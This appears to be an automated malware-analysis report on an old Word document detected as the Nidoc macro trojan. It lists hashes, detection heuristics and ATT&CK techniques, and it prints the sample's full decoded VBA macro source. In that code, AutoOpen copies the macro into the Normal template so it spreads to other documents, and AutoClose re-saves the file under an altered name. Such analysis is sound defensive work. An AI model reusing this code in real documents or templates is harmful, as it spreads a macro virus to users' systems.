Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 592b89b647b327e7…

MALICIOUS

Office (OLE)

27.0 KB Created: 2000-03-03 19:01:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 86de5d837fea354c1b07b938f6fa2c36 SHA-1: 07dfb476c9d44701adb027271810ad0bf0682706 SHA-256: 592b89b647b327e736a1cadd13c735d1c2c8de99405c535cc5f25564a0de801f
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic markers and VBA macros, including AutoOpen and Auto_Close functions, indicating malicious intent. The AutoOpen macro attempts to modify the Normal template by saving a new template named 'nidoc.dot' and copying project items, suggesting an attempt to establish persistence or load additional malicious code. The Auto_Close macro also attempts to save the document with a concatenated string, further indicating malicious activity.

Heuristics 5

  • ClamAV: Doc.Trojan.Nidoc-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nidoc-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1345 bytes
SHA-256: 6eb9ea4cf3f5fddc38d9229cdda5985204452610fddd557d8e7035a7749a328b
Detection
ClamAV: Doc.Trojan.Nidoc-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nidoc"
Sub AutoOpen()
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoClose"

    normPath = NormalTemplate.Path
    nomeNorm = NormalTemplate.Name
      
    normaldoc = normPath & "\" & nomeNorm
    normdoc = normPath & "\" & "nidoc.dot"
    On Error GoTo salva
    ActiveDocument.AttachedTemplate = normdoc
    
GoTo step2
salva:
    ActiveDocument.SaveAs FileName:=normdoc, FileFormat:=wdFormatTemplate
    Application.OrganizerCopy Source:=normdoc, Destination:=NormalTemplate, Name:= _
        "nidoc", Object:=wdOrganizerObjectProjectItems
    ActiveDocument.Close
    GoTo fim
step2:
    On Error GoTo fim
    Application.OrganizerCopy Source:=normdoc, Destination:=ActiveDocument, Name:= _
        "nidoc", Object:=wdOrganizerObjectProjectItems
    
fim:
    
    ActiveDocument.AttachedTemplate = NormalTemplate
    
End Sub
Sub AutoClose()
    duplo = ActiveDocument
    d = duplo & duplo & duplo
    If ActiveDocument.Name <> "nidoc.dot" Then
        ActiveDocument.SaveAs FileName:=d
    End If
End Sub